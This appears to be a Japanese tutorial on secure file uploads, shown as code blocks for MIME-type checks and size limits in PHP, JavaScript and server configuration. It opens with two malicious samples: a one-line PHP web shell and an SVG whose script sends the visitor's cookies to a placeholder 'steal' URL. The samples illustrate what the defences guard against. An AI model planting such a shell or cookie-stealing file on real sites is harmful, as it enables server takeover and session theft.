安全なファイルアップロード入門！MIME検証とサイズ制限で守るWebセキュリティ

// 悪意のあるファイル evil.php の例
<?php
// このファイルが実行されると、攻撃者は任意のコマンドを実行できる
system($_GET['cmd']);
?>

<!-- 悪意のあるSVGファイル -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    // ユーザーのCookieを盗む
    fetch('https://____.com/steal?cookie=' + document.cookie);
  </script>
</svg>

<?php
// 許可するMIME typeのリスト
$allowedMimeTypes = [
    'image/jpeg',
    'image/png',
    'image/gif'
];

// アップロードされたファイルの情報を取得
$uploadedFile = $_FILES['user_image'];

// ブラウザから送信されたMIME typeをチェック（信頼性は低い）
$clientMimeType = $uploadedFile['type'];

// サーバ側でファイルの実際の内容からMIME typeを判定（より信頼できる）
$finfo = new finfo(FILEINFO_MIME_TYPE);
$serverMimeType = $finfo->file($uploadedFile['tmp_name']);

// 両方のMIME typeが許可リストに含まれているかチェック
if (!in_array($clientMimeType, $allowedMimeTypes) || 
    !in_array($serverMimeType, $allowedMimeTypes)) {
    die('許可されていないファイル形式です');
}

// 検証を通過したファイルの処理を続ける
echo 'ファイルのアップロードが許可されました';
?>

// HTML5のFile APIを使った事前検証
document.getElementById('fileInput').addEventListener('change', function(e) {
    const file = e.target.files[0];
    const allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    
    if (!allowedTypes.includes(file.type)) {
        alert('JPEG、PNG、GIF形式の画像のみアップロードできます');
        e.target.value = ''; // 入力をクリア
        return false;
    }
    
    console.log('ファイル形式OK:', file.type);
});

; アップロード可能な最大ファイルサイズ（例: 5MB）
upload_max_filesize = 5M

; POSTデータの最大サイズ（upload_max_filesizeより大きくする）
post_max_size = 6M

; スクリプトの最大実行時間（秒）
max_execution_time = 30

; メモリ使用量の上限
memory_limit = 128M

<?php
// 最大ファイルサイズを定義（5MB = 5 * 1024 * 1024 バイト）
define('MAX_FILE_SIZE', 5 * 1024 * 1024);

$uploadedFile = $_FILES['user_image'];

// ファイルサイズをチェック
if ($uploadedFile['size'] > MAX_FILE_SIZE) {
    die('ファイルサイズが大きすぎます。5MB以下のファイルをアップロードしてください');
}

// サイズが適切な場合の処理
echo 'ファイルサイズ: ' . round($uploadedFile['size'] / 1024, 2) . ' KB';
?>

document.getElementById('fileInput').addEventListener('change', function(e) {
    const file = e.target.files[0];
    const maxSize = 5 * 1024 * 1024; // 5MB
    
    if (file.size > maxSize) {
        alert('ファイルサイズが大きすぎます。5MB以下のファイルを選択してください');
        e.target.value = '';
        return false;
    }
    
    // サイズをユーザーに表示
    const sizeMB = (file.size / (1024 * 1024)).toFixed(2);
    console.log(`選択されたファイルサイズ: ${sizeMB} MB`);
});

http {
    # クライアントから送信されるリクエストボディの最大サイズ
    client_max_body_size 5M;
}

# .htaccess または httpd.conf
LimitRequestBody 5242880